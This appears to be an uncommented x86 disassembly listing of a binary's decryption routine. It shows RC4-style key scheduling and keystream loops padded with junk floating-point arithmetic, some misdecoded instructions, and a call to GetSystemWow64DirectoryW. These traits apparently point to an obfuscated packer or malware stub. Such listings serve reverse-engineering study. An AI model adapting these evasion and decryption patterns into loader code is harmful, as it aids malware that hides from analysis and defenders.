movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx edx, byte [ebp - 0x32a9]
add edx, ecx
mov byte [ebp - 0x32a9], dl
mov al, byte [ebp - 0x3280]
add al, 1
mov byte [ebp - 0x3280], al
movzx ecx, byte [ebp - 0x32a9]
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + ecx - 0x62e4]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x329c]
movzx edx, byte [ebp - 0x32a9]
mov al, byte [ebp + ecx - 0x62e4]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x3280]
movzx edx, byte [ebp - 0x329c]
mov al, byte [ebp + ecx - 0x62e4]
mov byte [ebp + edx - 0x62e4], al
movzx ecx, byte [ebp - 0x3280]
mov dl, byte [ebp - 0x32f5]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x32f5]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx edx, byte [ebp - 0x32f9]
add edx, ecx
mov byte [ebp - 0x32f9], dl
movzx eax, byte [ebp - 0x32f4]
movzx ecx, byte [ebp - 0x32a9]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx ecx, byte [ebp - 0x3280]
movzx ecx, byte [ebp + ecx - 0x62e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x62e4]
xor eax, edx
movzx ecx, byte [ebp - 0x329c]
movzx edx, byte [ebp + ecx - 0x62e4]
movzx ecx, byte [ebp - 0x32c9]
movzx ecx, byte [ebp + ecx - 0x62e4]
add edx, ecx
movzx ecx, byte [ebp - 0x32f9]
movzx ecx, byte [ebp + ecx - 0x62e4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x62e4]
movzx ecx, byte [ebp + edx - 0x62e4]
xor eax, ecx
mov byte [ebp - 0x329c], al
mov dl, byte [ebp - 0x32f4]
mov byte [ebp - 0x32c9], dl
movsd xmm0, qword [0xa71f50]
movsd qword [ebp - 0x4544], xmm0
movsd xmm0, qword [0xa71e28]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [0xa71be0]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [0xa71910]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4cb4]
subsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [ebp - 0x476c]
addsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x4544]
subsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x4544], xmm0
movsd xmm0, qword [ebp - 0x476c]
subsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x4764]
comisd xmm0, xmmword [ebp - 0x4544]
jbe 0x43f762
movsd xmm0, qword [ebp - 0x476c]
mulsd xmm0, qword [ebp - 0x4544]
movsd qword [ebp - 0x476c], xmm0
movsd xmm0, qword [ebp - 0x4544]
divsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4544], xmm0
movsd xmm0, qword [ebp - 0x4764]
divsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4544]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4544], xmm0
jmp 0x43f7ce
movsd xmm0, qword [ebp - 0x4cb4]
mulsd xmm0, qword [ebp - 0x4764]
movsd qword [ebp - 0x4cb4], xmm0
movsd xmm0, qword [ebp - 0x4764]
mulsd xmm0, qword [ebp - 0x4cb4]
movsd qword [ebp - 0x4764], xmm0
movsd xmm0, qword [ebp - 0x4544]
mulsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4544], xmm0
movsd xmm0, qword [ebp - 0x4544]
subsd xmm0, qword [ebp - 0x476c]
movsd qword [ebp - 0x4544], xmm0
mov al, byte [ebp - 0x329c]
mov byte [ebp - 0x3366], al
cmp dword [ebp - 0x33b0], 0
jle 0x43f7ed
movsx cx, byte [ebp - 0x3366]
mov edx, dword [ebp - 0x33b0]
mov word [ebp + edx*2 - 0x482], cx
mov eax, dword [ebp - 0x33b0]
add eax, 1
mov dword [ebp - 0x33b0], eax
mov ecx, dword [ebp - 0x3704]
add ecx, 1
mov dword [ebp - 0x3704], ecx
mov edx, dword [ebp - 0x33b0]
shl edx, 1
mov dword [ebp - 0x3d14], edx
mov eax, dword [ebp - 0x3d18]
add eax, dword [ebp - 0x3d14]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bac], ecx
mov dword [ebp - 0x3ba8], 0xcb
mov edx, dword [ebp - 0x33b0]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3d1c], eax
mov ecx, dword [ebp - 0x3d18]
add ecx, dword [ebp - 0x3d1c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3ba4], edx
mov dword [ebp - 0x3ba0], 0xef
mov eax, dword [ebp - 0x3bac]
sub eax, dword [ebp - 0x3ba8]
mov dword [ebp - 0x3b84], eax
mov ecx, dword [ebp - 0x3ba4]
sub ecx, dword [ebp - 0x3ba0]
mov dword [ebp - 0x3bd8], ecx
mov edx, dword [ebp - 0x3b84]
shl edx, 4
mov dword [ebp - 0x3d20], edx
mov eax, dword [ebp - 0x3bd8]
mov dword [ebp - 0x3d24], eax
mov ecx, dword [ebp - 0x3d20]
or ecx, dword [ebp - 0x3d24]
mov dword [ebp - 0x3d28], ecx
mov dl, byte [ebp - 0x3d28]
mov byte [ebp - 0x32f4], dl
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + eax - 0x62e4]
mov byte [ebp - 0x32f5], cl
movzx edx, byte [ebp - 0x3280]
movzx eax, byte [ebp + edx - 0x62e4]
movzx ecx, byte [ebp - 0x32a9]
add ecx, eax
mov byte [ebp - 0x32a9], cl
mov dl, byte [ebp - 0x3280]
add dl, 1
mov byte [ebp - 0x3280], dl
movzx eax, byte [ebp - 0x32a9]
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + eax - 0x62e4]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x329c]
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + eax - 0x62e4]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x3280]
movzx ecx, byte [ebp - 0x329c]
mov dl, byte [ebp + eax - 0x62e4]
mov byte [ebp + ecx - 0x62e4], dl
movzx eax, byte [ebp - 0x3280]
mov cl, byte [ebp - 0x32f5]
mov byte [ebp + eax - 0x62e4], cl
movzx edx, byte [ebp - 0x32f5]
movzx eax, byte [ebp + edx - 0x62e4]
movzx ecx, byte [ebp - 0x32f9]
add ecx, eax
mov byte [ebp - 0x32f9], cl
movzx edx, byte [ebp - 0x32f4]
movzx eax, byte [ebp - 0x32a9]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx eax, byte [ebp - 0x3280]
movzx eax, byte [ebp + eax - 0x62e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x62e4]
xor edx, ecx
movzx eax, byte [ebp - 0x329c]
movzx ecx, byte [ebp + eax - 0x62e4]
movzx eax, byte [ebp - 0x32c9]
movzx eax, byte [ebp + eax - 0x62e4]
add ecx, eax
movzx eax, byte [ebp - 0x32f9]
movzx eax, byte [ebp + eax - 0x62e4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x62e4]
movzx eax, byte [ebp + ecx - 0x62e4]
xor edx, eax
mov byte [ebp - 0x329c], dl
mov cl, byte [ebp - 0x32f4]
mov byte [ebp - 0x32c9], cl
mov dl, byte [ebp - 0x329c]
mov byte [ebp - 0x3366], dl
cmp dword [ebp - 0x33b0], 0
jle 0x43fa48
mov dword [ebp - 0x4974], 0
jmp 0x43fa96
mov eax, dword [ebp - 0x4974]
add eax, 1
mov dword [ebp - 0x4974], eax
cmp dword [ebp - 0x4974], 0x44
jge 0x43fad2
mov ecx, dword [ebp - 0x4974]
shl ecx, 1
mov dword [ebp - 0x5234], ecx
cmp dword [ebp - 0x5234], 0x88
jae 0x43fabb
jmp 0x43fac0
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x5234]
mov word [ebp + eax - 0x480], dx
jmp 0x43fa87
mov dword [ebp - 0x31a8], 0
mov dword [ebp - 0x31ac], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4774], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x461c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x461c], xmm0
jmp 0x43fb21
movsd xmm0, qword [ebp - 0x461c]
addsd xmm0, qword [0xa71348]
movsd qword [ebp - 0x461c], xmm0
movsd xmm0, qword [0xa71890]
comisd xmm0, xmmword [ebp - 0x461c]
jbe 0x43fbd2
movsd xmm0, qword [0xa71698]
mulsd xmm0, qword [ebp - 0x461c]
mulsd xmm0, qword [ebp - 0x461c]
movsd xmm1, qword [ebp - 0x461c]
mulsd xmm1, qword [ebp - 0x461c]
subsd xmm0, xmm1
movsd xmm1, qword [0xa71390]
mulsd xmm1, qword [ebp - 0x461c]
mulsd xmm1, qword [ebp - 0x461c]
addsd xmm1, qword [0xa714e0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4774]
movsd qword [ebp - 0x4774], xmm0
movsd xmm0, qword [ebp - 0x4774]
comisd xmm0, xmmword [0xa71588]
jbe 0x43fbcd
movsd xmm0, qword [0xa71278]
mulsd xmm0, qword [ebp - 0x461c]
movsd xmm1, qword [ebp - 0x4774]
subsd xmm1, xmm0
movsd qword [ebp - 0x4774], xmm1
jmp 0x43fb09
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4774]
jbe 0x43fc29
or edx, dword [edx - 0x71f96df2]
or eax, 0xd8c0796
invalid
mov dword [ebp - 0x31a8], 0x43fbdf
mov dword [ebp - 0x31ac], 0x43fc0b
mov ecx, dword [ebp - 0x31a8]
mov dword [ebp - 0x3590], ecx
mov edx, dword [ebp - 0x31ac]
mov dword [ebp - 0x637c], edx
mov byte [ebp - 0x3fe9], 0x1d
mov dword [ebp - 0x3828], 0
jmp 0x43fc77
mov eax, dword [ebp - 0x3828]
add eax, 1
mov dword [ebp - 0x3828], eax
cmp dword [ebp - 0x3828], 0x100
jae 0x43fc98
mov ecx, dword [ebp - 0x3828]
mov dl, byte [ebp - 0x3828]
mov byte [ebp + ecx - 0x4c94], dl
jmp 0x43fc68
mov dword [ebp - 0x44ac], 0
mov byte [ebp - 0x3343], 0
mov dword [ebp - 0x3828], 0xff
jmp 0x43fcc4
cmp dword [ebp - 0x3828], 0
jbe 0x43ff34
mov dword [ebp - 0x49f0], 0
mov dword [ebp - 0x4978], 1
mov ecx, dword [ebp - 0x4978]
cmp ecx, dword [ebp - 0x3828]
jae 0x43fd05
mov edx, dword [ebp - 0x4978]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4978], eax
jmp 0x43fce5
mov ecx, dword [ebp - 0x44ac]
mov dword [ebp - 0x5230], ecx
cmp dword [ebp - 0x5230], 3
ja case.default.0x43fd24
mov edx, dword [ebp - 0x5230]
jmp dword [edx*4 + 0x46b028]
movzx ecx, byte [ebp - 0x3343]
movzx edx, byte [ebp + ecx - 0x4c94]
mov eax, dword [ebp - 0x637c]
add eax, dword [ebp - 0x44ac]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3343], dl
mov edx, dword [ebp - 0x44ac]
add edx, 1
mov dword [ebp - 0x44ac], edx
movzx eax, byte [ebp - 0x3fe9]
cmp dword [ebp - 0x44ac], eax
jb 0x43fe4b
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x4c94]
mov byte [ebp - 0x3261], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x4c94]
mov byte [ebp - 0x3263], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x4c94]
mov byte [ebp - 0x3299], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x4c94]
mov byte [ebp - 0x3264], dl
movzx eax, byte [ebp - 0x3343]
mov cl, byte [ebp + eax - 0x4c94]
mov byte [ebp - 0x3278], cl
mov dword [ebp - 0x522c], 0x2c
cmp dword [ebp - 0x522c], 2
jle 0x442a5e
mov edx, dword [ebp - 0x522c]
and edx, 1
jne 0x442a5e
mov dword [ebp - 0x3318], 0
mov dword [ebp - 0x3468], 0
mov eax, dword [ebp - 0x3468]
add eax, 1
mov dword [ebp - 0x3468], eax
mov dword [ebp - 0x3594], 0
mov ecx, dword [ebp - 0x3318]
shl ecx, 1
mov dword [ebp - 0x3594], ecx
mov dword [ebp - 0x3534], 0
mov edx, dword [ebp - 0x3590]
add edx, dword [ebp - 0x3594]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3534]
mov dword [ebp - 0x3534], eax
mov dword [ebp - 0x3530], 0
mov ecx, dword [ebp - 0x3530]
add ecx, 2
mov dword [ebp - 0x3530], ecx
mov dword [ebp - 0x358c], 0
mov edx, dword [ebp - 0x3318]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x358c], eax
mov dword [ebp - 0x352c], 0
mov ecx, dword [ebp - 0x3590]
add ecx, dword [ebp - 0x358c]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x352c]
mov dword [ebp - 0x352c], edx
mov dword [ebp - 0x3528], 0
mov eax, dword [ebp - 0x3528]
add eax, 0x89
mov dword [ebp - 0x3528], eax
mov dword [ebp - 0x3524], 0
mov ecx, dword [ebp - 0x3534]
sub ecx, dword [ebp - 0x3530]
add ecx, dword [ebp - 0x3524]
mov dword [ebp - 0x3524], ecx
mov dword [ebp - 0x3558], 0
mov edx, dword [ebp - 0x352c]
sub edx, dword [ebp - 0x3528]
add edx, dword [ebp - 0x3558]
mov dword [ebp - 0x3558], edx
mov dword [ebp - 0x3588], 0
mov eax, dword [ebp - 0x3524]
shl eax, 4
mov dword [ebp - 0x3588], eax
mov dword [ebp - 0x3584], 0
mov ecx, dword [ebp - 0x3558]
mov dword [ebp - 0x3584], ecx
mov dword [ebp - 0x3580], 0
mov edx, dword [ebp - 0x3588]
or edx, dword [ebp - 0x3584]
mov dword [ebp - 0x3580], edx
mov byte [ebp - 0x329a], 0
mov al, byte [ebp - 0x3580]
mov byte [ebp - 0x329a], al
mov byte [ebp - 0x3298], 0
movzx ecx, byte [ebp - 0x3278]
mov dl, byte [ebp + ecx - 0x4c94]
mov byte [ebp - 0x3298], dl
movzx eax, byte [ebp - 0x3261]
movzx ecx, byte [ebp + eax - 0x4c94]
movzx edx, byte [ebp - 0x3263]
add edx, ecx
mov byte [ebp - 0x3263], dl
mov al, byte [ebp - 0x3261]
add al, 1
mov byte [ebp - 0x3261], al
movzx ecx, byte [ebp - 0x3263]
movzx edx, byte [ebp - 0x3278]
mov al, byte [ebp + ecx - 0x4c94]
mov byte [ebp + edx - 0x4c94], al
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp - 0x3263]
mov al, byte [ebp + ecx - 0x4c94]
mov byte [ebp + edx - 0x4c94], al
movzx ecx, byte [ebp - 0x3261]
movzx edx, byte [ebp - 0x3264]
mov al, byte [ebp + ecx - 0x4c94]
mov byte [ebp + edx - 0x4c94], al
movzx ecx, byte [ebp - 0x3261]
mov dl, byte [ebp - 0x3298]
mov byte [ebp + ecx - 0x4c94], dl
movzx eax, byte [ebp - 0x3298]
movzx ecx, byte [ebp + eax - 0x4c94]
movzx edx, byte [ebp - 0x3299]
add edx, ecx
mov byte [ebp - 0x3299], dl
movzx eax, byte [ebp - 0x329a]
movzx ecx, byte [ebp - 0x3263]
movzx edx, byte [ebp + ecx - 0x4c94]
movzx ecx, byte [ebp - 0x3261]
movzx ecx, byte [ebp + ecx - 0x4c94]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c94]
xor eax, edx
movzx ecx, byte [ebp - 0x3264]
movzx edx, byte [ebp + ecx - 0x4c94]
movzx ecx, byte [ebp - 0x3278]
movzx ecx, byte [ebp + ecx - 0x4c94]
add edx, ecx
movzx ecx, byte [ebp - 0x3299]
movzx ecx, byte [ebp + ecx - 0x4c94]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x4c94]
movzx ecx, byte [ebp + edx - 0x4c94]
xor eax, ecx
mov byte [ebp - 0x3264], al
mov dl, byte [ebp - 0x329a]
mov byte [ebp - 0x3278], dl
mov al, byte [ebp - 0x3264]
mov byte [ebp - 0x32f0], al
cmp dword [ebp - 0x3318], 0
jle 0x4402c1
mov dword [ebp - 0x4980], 0
jmp 0x442a79
cmp dword [ebp - 0x4980], 0x16
jge 0x442ab2
mov byte [ebp - 0x3fdc], 0
push 0x400
push 0
lea ecx, [ebp - 0x3178]
push ecx
call fcn.00a46b60
add esp, 0xc
push 0x1ff
lea edx, [ebp - 0x3178]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
je 0x4478c3
mov byte [ebp - 0x3fdc], 1
push 0x400
push 0
lea eax, [ebp - 0x978]
push eax
call fcn.00a46b60
add esp, 0xc
mov dword [ebp - 0x31e8], 0
mov dword [ebp - 0x31c8], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x47ac], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x463c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x463c], xmm0
jmp 0x447928
movsd xmm0, qword [ebp - 0x463c]
addsd xmm0, qword [0xa71358]
movsd qword [ebp - 0x463c], xmm0
movsd xmm0, qword [0xa71870]
comisd xmm0, xmmword [ebp - 0x463c]
jbe 0x4479d9
movsd xmm0, qword [0xa71670]
mulsd xmm0, qword [ebp - 0x463c]
mulsd xmm0, qword [ebp - 0x463c]
movsd xmm1, qword [ebp - 0x463c]
mulsd xmm1, qword [ebp - 0x463c]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713d8]
mulsd xmm1, qword [ebp - 0x463c]
mulsd xmm1, qword [ebp - 0x463c]
addsd xmm1, qword [0xa71488]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x47ac]
movsd qword [ebp - 0x47ac], xmm0
movsd xmm0, qword [ebp - 0x47ac]
comisd xmm0, xmmword [0xa715c8]
jbe 0x4479d4
movsd xmm0, qword [0xa71280]
mulsd xmm0, qword [ebp - 0x463c]
movsd xmm1, qword [ebp - 0x47ac]
subsd xmm1, xmm0
movsd qword [ebp - 0x47ac], xmm1
jmp 0x447910
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x47ac]
jbe 0x447a0f
inc esp
inc ebp
xor byte [eax + 0x43], dl
aaa
dec ebp
jp 0x447a43
dec ebp
xor byte [ecx + 0x53], bl
cmp bh, byte [edi]
inc ebp
xor byte [edi + 0x32], ch
pop edi
cmp eax, 0x66716d77
outsb dx, byte [esi]
js 0x447a65
insd dword es:[edi], dx
js 0x447a6b
js 0x447a77
jmp 0x449f43
mov dword [ebp - 0x31e8], 0x4479fc
mov dword [ebp - 0x31c8], 0x4479e6
mov ecx, dword [ebp - 0x31e8]
mov dword [ebp - 0x3d34], ecx
mov edx, dword [ebp - 0x31c8]
mov dword [ebp - 0x6350], edx
mov byte [ebp - 0x3fe5], 0x1a
mov dword [ebp - 0x3814], 0
jmp 0x447a5d
test esp, ebp
invalid
mov eax, dword [ebp - 0x3814]
add eax, 1
mov dword [ebp - 0x3814], eax
cmp dword [ebp - 0x3814], 0x100
add byte [eax], al
jae 0x447a7e
mov ecx, dword [ebp - 0x3814]
mov dl, byte [ebp - 0x3814]
mov byte [ebp + ecx - 0x5ce4], dl
in al, dx
invalid
or eax, 0xffffa31c
jmp 0x447a4e
mov dword [ebp - 0x449c], 0
mov byte [ebp - 0x3347], 0
mov dword [ebp - 0x3814], 0xff
jmp 0x447aaa
mov eax, dword [ebp - 0x3814]
sub eax, 1
mov dword [ebp - 0x3814], eax
cmp dword [ebp - 0x3814], 0
jbe 0x447d1a
mov dword [ebp - 0x4a1c], 0
mov dword [ebp - 0x49a8], 1
mov ecx, dword [ebp - 0x49a8]
cmp ecx, dword [ebp - 0x3814]
jae 0x447aeb
mov edx, dword [ebp - 0x49a8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x49a8], eax
jmp 0x447acb
mov ecx, dword [ebp - 0x449c]
mov dword [ebp - 0x51e4], ecx
cmp dword [ebp - 0x51e4], 3
ja case.default.0x447b0a
mov edx, dword [ebp - 0x51e4]
jmp dword [edx*4 + 0x46b068]
movzx eax, byte [ebp - 0x3347]
movzx ebx, byte [ebp + eax - 0x5ce4]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3347], bl
jmp 0x447bf3
movzx ecx, byte [ebp - 0x3347]
movzx ebx, byte [ebp + ecx - 0x5ce4]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3347], bl
jmp 0x447bf3
movzx edx, byte [ebp - 0x3347]
movzx ebx, byte [ebp + edx - 0x5ce4]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3347], bl
jmp 0x447bf3
movzx eax, byte [ebp - 0x3347]
movzx ebx, byte [ebp + eax - 0x5ce4]
movsd xmm0, qword [ebp - 0x47ac]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3347], bl
jmp 0x447bf3
movzx ecx, byte [ebp - 0x3347]
movzx edx, byte [ebp + ecx - 0x5ce4]
mov eax, dword [ebp - 0x6350]
add eax, dword [ebp - 0x449c]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3347], dl
mov edx, dword [ebp - 0x449c]
add edx, 1
mov dword [ebp - 0x449c], edx
movzx eax, byte [ebp - 0x3fe5]
cmp dword [ebp - 0x449c], eax
jb 0x447c31
mov dword [ebp - 0x449c], 0
movzx ecx, byte [ebp - 0x3fe5]
movzx edx, byte [ebp - 0x3347]
add edx, ecx
mov byte [ebp - 0x3347], dl
movzx eax, byte [ebp - 0x3347]
and eax, dword [ebp - 0x49a8]
mov dword [ebp - 0x42dc], eax
mov ecx, dword [ebp - 0x4a1c]
add ecx, 1
mov dword [ebp - 0x4a1c], ecx
cmp dword [ebp - 0x4a1c], 0xb
jbe 0x447c70
mov eax, dword [ebp - 0x42dc]
xor edx, edx
div dword [ebp - 0x3814]
mov dword [ebp - 0x42dc], edx
mov edx, dword [ebp - 0x42dc]
cmp edx, dword [ebp - 0x3814]
ja 0x447aeb
mov eax, dword [ebp - 0x3814]
cmp eax, dword [ebp - 0x42dc]
je 0x447d15
mov ecx, dword [ebp - 0x42dc]
movzx edx, byte [ebp + ecx - 0x5ce4]
mov eax, dword [ebp - 0x3814]
movzx ecx, byte [ebp + eax - 0x5ce4]
xor ecx, edx
mov edx, dword [ebp - 0x3814]
mov byte [ebp + edx - 0x5ce4], cl
mov eax, dword [ebp - 0x3814]
movzx ecx, byte [ebp + eax - 0x5ce4]
mov edx, dword [ebp - 0x42dc]
movzx eax, byte [ebp + edx - 0x5ce4]
xor eax, ecx
mov ecx, dword [ebp - 0x42dc]
mov byte [ebp + ecx - 0x5ce4], al
mov edx, dword [ebp - 0x42dc]
movzx eax, byte [ebp + edx - 0x5ce4]
mov ecx, dword [ebp - 0x3814]
movzx edx, byte [ebp + ecx - 0x5ce4]
xor edx, eax
mov eax, dword [ebp - 0x3814]
mov byte [ebp + eax - 0x5ce4], dl
jmp 0x447a9b
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5ce4]
mov byte [ebp - 0x327f], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5ce4]
mov byte [ebp - 0x329d], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5ce4]
mov byte [ebp - 0x32f2], dl
movss xmm0, dword [0xa723bc]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [0xa72358]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [0xa72288]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [0xa721bc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [0xa720e0]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [0xa72004]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3408]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x35dc]
addss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x35dc]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x35dc]
comiss xmm0, dword [ebp - 0x343c]
jbe 0x447f08
movss xmm0, dword [ebp - 0x35b4]
mulss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x343c]
mulss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x343c], xmm0
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5ce4]
mov byte [ebp - 0x329e], dl
jmp 0x44832c
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3560]
mulss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3560]
subss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x35dc]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x35dc]
subss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x35b4]
mulss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x3560]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x3560]
divss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x35dc]
subss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3408]
comiss xmm0, dword [ebp - 0x343c]
jbe 0x44829c
movss xmm0, dword [ebp - 0x3560]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3560]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x343c]
divss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x35b4]
divss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x343c]
divss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x3408]
divss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x35b4]
comiss xmm0, dword [ebp - 0x3560]
jbe 0x448207
movss xmm0, dword [ebp - 0x3560]
addss xmm0, dword [ebp - 0x35b4]
